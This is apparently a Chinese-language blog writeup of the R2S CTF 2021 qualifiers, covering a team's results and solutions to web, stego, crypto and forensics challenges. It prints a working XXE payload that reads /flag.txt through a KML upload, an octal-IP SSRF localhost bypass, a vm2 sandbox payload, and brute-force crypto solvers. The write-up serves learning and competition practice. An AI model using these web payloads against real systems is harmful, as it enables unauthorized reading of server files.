R2S CTF 2021 Quals Writeup & 參賽心得

這次比賽真的不算是誤打誤撞了,號稱給新手入門 CTF 的比賽,抱著個新手心情參與了。

TL;DR 點我直接挑到 Writeup

實際情況:看到題目還是不會做,被各種迷因洗腦,而且賽中牛鬼蛇神太多了,心態直接崩到底(我還遇到當 AIS3 體驗場助教來打比賽,還是 Offical 的,我實在是不知道主辦到底怎麼篩選的)。
第一次跟網友線上組隊(非現場),自己實在很菜到不行,去跟別人求組隊,不過蠻幸運的是剛好湊滿四位一起打這場比賽。

比賽結果

隊伍名稱:菜雞校正轉生到打 CTF 這檔事

Score:4191

Team Members:

  • tico88612
  • waig548
  • idisused
  • cow03haha

謝謝隊員們陪我一起打 CTF,我也學到蠻多東西。
waig548 直接一人單幹 2000 多分,真的很猛,本隊 MVP 實屬他。
waig548 的 Writeup 連結

全體排行榜

Rank:6 / 81

官方排行榜

Rank:3 / 44 (DQ -1)

R2S CTF 2021 Quals Writeup

本篇文章除了有自己的通靈心路歷程以外,也搜集了一些大神們的 Code & 解答想法,給自己的打成一篇文章以此借鑑,也謝謝大神們的無私分享。
對於本篇文章有任何問題,也可以在下面留言給我喔!我看到一定會回覆。

Welcome ❤

Welcome to R2S CTF o((>ω< ))o

Problem Solver: waig548

簽到題,Discord 找答案,直接把總是暴雷打開就可以不用一個一個點了。

本次比賽的 Flag format: R2S{.*}所以本場 Flag 長的很奇怪也不要太在意

Flag: R2S{u_kn0w_7he_ru13s_n0w_s01v3_a1I_7he_Ch4ll3nge5s_u_c4n_s3e}

Web 🕸️

Chatroom

Problem Solver: tico88612

點進去網址以後,翻一翻好像沒什麼,但一個聊天窗留下超多顏文字。

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_')

經驗判斷為 AAencode,這東西丟進去 JS Console 也是會平安執行的。

Flag: R2S{ch47_w17h_m3_p122}

Psychic

Problem Solver Psychic: tico88612

點進去連結後原始碼也沒有東西,以為要把網站打下來,但解析後發現是 GitHub 就果斷放棄,剩下估計是藏在照片了。

但一直在 Brave 瀏覽器看不出來,想說要直接開 PhotoShop 來調亮度了,結果……

呃……好喔。
看 Flag 提示感覺是 Libpng 的 Render 問題,但實際情況還要再查一下。

原圖如下:

Flag: R2S{l1bpn6_r3nd3r5_d1ff3r3n7ly_huh}

I’m The Map

Hint: Flag file is located at /flag.txt.

Problem Solver: cow03haha

透過 Google 地圖產生 KML 後丟上去,系統會回傳最遠兩點之間的距離。

發現哪裡有問題了嗎?他會回傳座標的名稱

可以透過 XXE(XML eXternal Entity) Injection 對此把檔案提取出來

Payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
<name>未命名的地圖</name>
<description/>
<Style id="icon-1899-0288D1-nodesc-normal">
<IconStyle>
<color>ffd18802</color>
<scale>1</scale>
<Icon>
<href>https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png</href>
</Icon>
<hotSpot x="32" xunits="pixels" y="64" yunits="insetPixels"/>
</IconStyle>
<LabelStyle>
<scale>0</scale>
</LabelStyle>
<BalloonStyle>
<text><![CDATA[<h3>$[name]</h3>]]></text>
</BalloonStyle>
</Style>
<Style id="icon-1899-0288D1-nodesc-highlight">
<IconStyle>
<color>ffd18802</color>
<scale>1</scale>
<Icon>
<href>https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png</href>
</Icon>
<hotSpot x="32" xunits="pixels" y="64" yunits="insetPixels"/>
</IconStyle>
<LabelStyle>
<scale>1</scale>
</LabelStyle>
<BalloonStyle>
<text><![CDATA[<h3>$[name]</h3>]]></text>
</BalloonStyle>
</Style>
<StyleMap id="icon-1899-0288D1-nodesc">
<Pair>
<key>normal</key>
<styleUrl>#icon-1899-0288D1-nodesc-normal</styleUrl>
</Pair>
<Pair>
<key>highlight</key>
<styleUrl>#icon-1899-0288D1-nodesc-highlight</styleUrl>
</Pair>
</StyleMap>
<Folder>
<name>(未命名的圖層)</name>
<Placemark>
<name>&ent;</name>
<styleUrl>#icon-1899-0288D1-nodesc</styleUrl>
<Point>
<coordinates>
121.3694369,25.0147899,0
</coordinates>
</Point>
</Placemark>
<Placemark>
<name>點 3</name>
<styleUrl>#icon-1899-0288D1-nodesc</styleUrl>
<Point>
<coordinates>
121.1263643,24.9874084,0
</coordinates>
</Point>
</Placemark>
</Folder>
</Document>
</kml>

Line 2 產生 Entity 命名為 ent 並且使用 file:// 協議把檔案倒出來。

Line 52 將其中一個名字注入 &ent; 系統就會執行了。

Flag: R2S{VerY_51mPLE_xxe_4yy}

Local Media Server

Problem Solver: idisused

點進去後

後面網址也無法更改,127.0.0.1 也不行,外網也不行,完全不知道怎麼下手,自己果斷作罷。

idisused 提點以後,發現有其他 CVE 有其他網址可以闖 Localhost。

後段網址改為 http://0177.0.0.1/play.html 就可以進入了。

又是統神端火鍋……

右鍵檢查該影片來源,index.m3u8,打開記事本看一下。

再把裡面每個 varient_*/*.m3u8 抓下來看看。

其中一個檔案應該就是這個。

Flag: R2S{1'm_50_b0r3d_7h47_1_unp4ck_7h3_m3d14_455375_1n_4_w3bp463}

Local Media Server #2

Problem Solver: tico88612

如果前一題會了,這一題就是依樣畫葫蘆。

你會看到有些檔案還沒翻過 *.mp4*.m4s,其實就是從這些資料繼續往下翻。

如果文字檔打不開,那就是開 iHex 慢慢找了。

其中有個檔案 init_2.mp4

Flag: R2S{LEKO_SO_CUTE_AYY}

Working Status

Problem Solver: X

據說是 XSS,用 Admin 帳號進入就可以發文了

BTW 到底是誰開了在 Web 放 CSS 動畫干擾參賽者的歪風啊!

Flag: 我不知道.jpg

Calculator 0x1

Problem Solver: X

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
const { VM } = require('vm2');
const express = require("express")
const path = require("path")

const { FLAG } = require('./flag.json');

const app = express()
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

class Security {
constructor() {
}

disable() {
this.#lock = false;
return ""
}

isLocked() {
return this.#lock;
}

#lock = true
}

app.get("/", (req, res) => {
let result = "ERROR!";
let security = new Security();
const exec = req.query.q
if (exec === undefined || exec.length === 0) {
result = "";
}

if (exec && exec.length < 55 && !/[^.`+\|a-z]/.test(exec)) {
try {
const vm = new VM({
timeout: 100,
sandbox: {sec: security}
});
const execResult = vm.run(exec);
if (execResult === 1069 && !security.isLocked()) {
result = FLAG
}
} catch (e) {
console.error(e)
}
}
res.render('index', { result });
})

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

要造出一段 Payload 符合 Line 35 條件,把 security 修改為 disable,並且讓 Line 41 回傳 1069。
我實在是太弱想不到 Payload。

給出 Discord 成功的 Payload:

1
+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|`` // 51 chars

Flag: R2S{j4V45Cr1pT_15_tH3_835t_Pr09r4mm1N9_l4n9U493_1n_Th3_W0rLd}

Simple Book Searcher

Problem Solver: X

據說也是 SQL Injection,據群組所說 Union 就可以拿下來了。

Flag: 挖母雞抖.jpg

Smart IoT

Problem Solver: X

Discord 群組有解法,但我也看不懂。

Flag: 窩不知道.jpg

Pwnable 💥

我都不會,跳過。

Stego 💠

Barcode in Image

Problem Solver: X

此題解為官方解答

把圖片放大就會有一些些 #878787 的小色塊,把該色塊直條變呈黑色,反之則白色。

然後你就會得到像這樣的圖片

Flag: R2S{Shirley?Wow!Jennifer_Lopez!Did_you_just_attack_my_image?My_barcode_on_image?Wow,I_guess_I_did.Cool.}

Music Xor

mix1.mp3 mix2.mp3

Problem Solver: X

我隊友用 Audacity 合出兩個版本
刺耳注意!
mixed1.mp3
這個稍微還好
mixed2.mp3

但自己聽力還是太爛,Flag 也出太爛,合成出來了,但聽不出 Flag 就沒分數。

Flag: R2S{the flag is music xor is so fun}

Reverse 💫 & Misc 🔱

Problem Solver: waig548

兩個大 Part 全都他單幹掉了,Writeup 連結

Crypto 🔐

Base1024

1
🐙🚡🎫🚯🚾🦃🈲😛😲🏙📩🦆😐🇲🌨💡😠📎🈚💡🙂🏦💅🎆🚾🚿🎤🦆😮🏦🌝🦇📥🏦🏁🎅📅🍨☕☕

Problem Solver: waig548

Google 搜尋 Base1024 就會有 Decoder 了。

Flag: R2S{3мойи_бAсе_енцод3_ис_фун}

BiGGG_RSA

output

1
2
3
c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
e = 65537
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
from Crypto.Util.number import getPrime , bytes_to_long , long_to_bytes
from secret import flag
from gmpy2 import next_prime

n = 1
tmp = getPrime(50)

for i in range(7):
n *= tmp
tmp = next_prime(n)

e = 0x10001
m = bytes_to_long(flag)
c = pow(m , e , n)

with open("output" , "w") as f:
f.write(f"c = {str(c)}\n")
f.write(f"e = {str(e)}\n")
f.write(f"n = {str(n)}\n")

Problem Solver: tico88612

前幾天在學 RSA 正好派上用場,不過那個 $n$ 丟了好幾個套件 factor 都丟不出來(Pycryptodome、Sage)

直到網路上找到的 Sympy,剛按下 enter,他就跑出來了。

我:??????

1
2
3
4
from sympy import factorint

n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
print(factorint(n))

把這段程式碼輸出結果(也就是分解出來的質數)給下一隻程式裡面的變數 $f$

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3
from Crypto.Util.number import *

n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
e = 65537
c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
f = [1062780696629569, 1062780696629591, 1129502809128455357571730976453, 1275776595829071855433239892484300486868982494660419650558621, 1627605922465214963157262221175088960020721326796500889230397342216416452509325884768249583759916712501768532719126704379, 2649101038843843342291968578928310026248359608735783573418745440303879684369201027998779593318625620672967978390839255694804059830958732184991406633856012912555802095847238944900190788065229904674170980451099391761020719548856505607069148473, 7017736314003529992662158109335222483129630843602940054156239484721978771206772350944355441543925520212436896619771663845202011424483968685661791826317198558083585530193896005643195785970836356559241135345120545882411439349964743189424690612735144731820084432823739265401167465567592654070933927486640477820600598975940046682991249832318658624072203241719941593224202163706740308371377596859026820792926451405281232022216807167994601696760329606141789531963234584171729915978057303]

phi = 1
for x in f:
phi *= (x - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c , d , n)))

Flag: R2S{Wut_4_l1tTl3_EnCrYp7_N}

同場加映 —— MuMu 官方解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from gmpy2 import isqrt , is_square , is_prime
from Crypto.Util.number import long_to_bytes , inverse

exec(open("output" , "r").read())

def fermat(n):
assert not is_prime(n)

a = isqrt(n) + 1

while not is_square(pow(a , 2) - n):
a += 1

b = isqrt(pow(a , 2) - n)
p = a + b
q = a - b
assert p * q == n

return int(p) , int(q)

def dec(primes , e , c):
phi = 1
n = 1

for i in primes:
phi *= (i - 1)
n *= i

d = inverse(e , phi)
m = pow(c , d , n)
flag = long_to_bytes(m)

return flag.decode("latin-1")

primes = []

for i in range(8):
try:
p , n = fermat(n)
primes.append(p)
except :
primes.append(n)
break

flag = dec(primes , e , c)
print(flag)

2-AES

output.py

1
2
3
notflag = "5232537b316d5f6e30375f666c34367d"
notflagC = "506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
flagC = "ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
from secret import flag

kpre = b"make_it_easy_"
size = AES.block_size - len(kpre)
key1 = kpre + urandom(size)
key2 = kpre + urandom(size)
notflag = b"R2S{1m_n07_fl46}"

def cipher(key, plaintext, mode = AES.MODE_ECB):
encrypter = AES.new(key, mode)
ciphertext = encrypter.encrypt(plaintext)
return ciphertext
def encrypt(key1, key2, plaintext):
return cipher(key1,cipher(key2,pad(plaintext,AES.block_size)))

if __name__ == '__main__':
notflagC = encrypt(key1,key2,notflag)
flagC = encrypt(key1,key2,flag)
with open("output.py", "w+") as f:
f.write(f"notflag = \"{notflag.hex()}\"\n")
f.write(f"notflagC = \"{notflagC.hex()}\"\n")
f.write(f"flagC = \"{flagC.hex()}\"\n")

Problem Solver: tico88612 + waig548

看程式碼大概就知道,AES Random 最後 3 個字元,每個字元要跑 256 個字元,總共 $2^{24}$ 次窮舉

窮舉每一把 Key,對 notflag 做 encrypt,也對 notflagC 做 decrypt,把結果存進各自的陣列。

notflagC Decrypt 後還要先扣掉 Padding,不然你會找不到交集喔!(然後我這段 Code 每一次重跑要 30 min……)

最後對他們做交集,encrypt 出來的數字就會是 key1,decrypt 出來的數字就會是 key2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import math
import time
import numpy as np

def crack():
plaintext = 'R2S{1m_n07_fl46}'
plaintext_enc = plaintext.encode('utf-8')
ciphertext = '506bc537abd10ffebe9c2f007ee4e1f6'
cipher = long_to_bytes(int(ciphertext, 16))
print(cipher)


DESCipher1 = []
DESCipher2 = []
base_key = b"make_it_easy_"
rounds = pow(256, 3)
tBegin = time.time()
for i in range(rounds):
key = base_key + long_to_bytes(i, 3)
enc = AES.new(key, AES.MODE_ECB).encrypt(plaintext_enc)
DESCipher1.append(enc)
dec = AES.new(key, AES.MODE_ECB).decrypt(cipher)
DESCipher2.append(dec)
print('round', i , '/', rounds, 'done')

tEnd = time.time()
print('[1] total time: ', tEnd - tBegin, " sec")
tBegin = time.time()
intersect = np.intersect1d(np.array(DESCipher1), np.array(DESCipher2))
tEnd = time.time()
print('intersect: ', intersect)
print('[2] total time: ', tEnd - tBegin, " sec")
tBegin = time.time()
if intersect.size != 1:
print('key should only match once, error!')
exit(0)
else:
index1 = np.where( DESCipher1 == intersect )
firstKey = index1[0][0]
index2 = np.where( DESCipher2 == intersect )
secondKey = index2[0][0]
tEnd = time.time()

print('key1: ', str(firstKey))
print('key2: ', str(secondKey))
print('[3] total time: ', tEnd - tBegin, " sec")

if __name__ == '__main__':
crack()

輸出節錄:

1
2
3
4
5
6
7
8
9
10
11
12
round 16777210 / 16777216 done
round 16777211 / 16777216 done
round 16777212 / 16777216 done
round 16777213 / 16777216 done
round 16777214 / 16777216 done
round 16777215 / 16777216 done
[1] total time: 1582.2749860286713 sec
intersect: [b'z\x9a5\xdc\xdf\xa9\x0bn\xd9gv\xb7\x15O\x07p']
[2] total time: 47.50265598297119 sec
key1: 3886226
key2: 6449168
[3] total time: 8.087777853012085 sec

key1, key2 轉成 Hex 給下一隻程式,然後再把 Task.py 魔改一下就可以了。

BTW 我那天一直犯蠢 Decrypt 不出來,只好趕快把剛算出來的 Key 給隊友幫忙解,最後是 waig548 幫我送 Flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes, bytes_to_long
from os import urandom

key1 = b"make_it_easy_\x3B\x4C\x92"
print(key1)
key2 = b"make_it_easy_\x62\x68\x10"
print(key2)
flag = long_to_bytes(int("ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5",16))

def cipher(key, plaintext, mode = AES.MODE_ECB):
encrypter = AES.new(key, mode)
ciphertext = encrypter.decrypt(plaintext)
return ciphertext
def encrypt(key1, key2, plaintext):
return cipher(key1,cipher(key2,pad(plaintext,AES.block_size)))

if __name__ == '__main__':
flagC = encrypt(key1,key2,flag)
print(flagC)

Flag: R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}

同場加映 —— Maple 大大的解答 & tqdm

本場排行榜第一名的 Maple 也把他的 Code 分享到 Discord 上。

我自己筆電跑只要 10 ~ 15 分鐘就跑完了,而且還有進度條的版本,超厲害的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from tqdm import tqdm
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from itertools import product

notflag = bytes.fromhex("5232537b316d5f6e30375f666c34367d")
notflagC = bytes.fromhex(
"506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
)
flagC = bytes.fromhex(
"ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
)

padded = pad(notflag, 16)

kpre = b"make_it_easy_"

table = {}

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="first"):
k1 = kpre + bytes(a)
ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC)
table[ct] = k1

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="second"):
k2 = kpre + bytes(a)
ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded)
if ct in table:
k1 = table[ct]
print(k1, k2)
flag = unpad(
AES.new(k2, mode=AES.MODE_ECB).decrypt(
AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC)
),
16,
)
print(flag)
break

Not Morse

task

1
1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }

Problem Solver: X

本場比賽最通靈的題目。

培根密碼

把 $2$ 跟空白去掉,每五個字元排整齊,開始解密。

Flag: R2S{RESHAPEANDDECODE}

Forensics 🌲

Problem Solver: waig548

基本上也都是全都他單幹出來,Writeup 連結

但其中有一題大家都看很久。

md0

看到 pcap 檔案,就知道要拆封包了。

Wireshark 裡面的 Follow TCP Stream,把每一個影片都 Dump 下來。(Wireshark 其實有點太慢了,賽後 Staff 推薦 tshark)

第一天晚上解到最後有兩部影片爛掉,我跟隊友們都修不了,以為還要再修影片,就果斷先解其他題目。

直到第二天下午……

RRRRRRRRRRRRRRRRRRRR 氣死,直接做梗圖

反正修好後就在其中一部右下角就有 Flag。

Flag: R2S{https://youtu.be/072tU1tamd0}

總結時間

這場比賽評價我個人覺得,要給一位真正剛學 CTF 的人打,其實還是有點點小難。

新手大多都經驗不足&工具不熟,即使老鳥喊著「題目簡單」,但對新手來說看到題目還是無字天書。

不過這場比賽基本上也不能再出更簡單了,因為真的很難去拿捏難度。

至少要會一些基礎工具再來打比賽會比較好,心理上也比較不會太挫敗。

參加一些像是 AIS3 的資安體驗營活動,或是 picoCTF 新手向的平台,可能會稍微容易一些啦!

這場隊友帶飛直接進 Offical 第三名,Final 應該是穩了,可以期待一下會出什麼可怕題目了

這場比賽就分享就到這裡,我們下一篇文章見,ㄅㄅ。


R2S CTF 2021 Quals Writeup & 參賽心得
https://blog.yangjerry.tw/2021/07/19/r2s-2021-quals/
作者
Jerry Yang
發布於
2021年7月19日
許可協議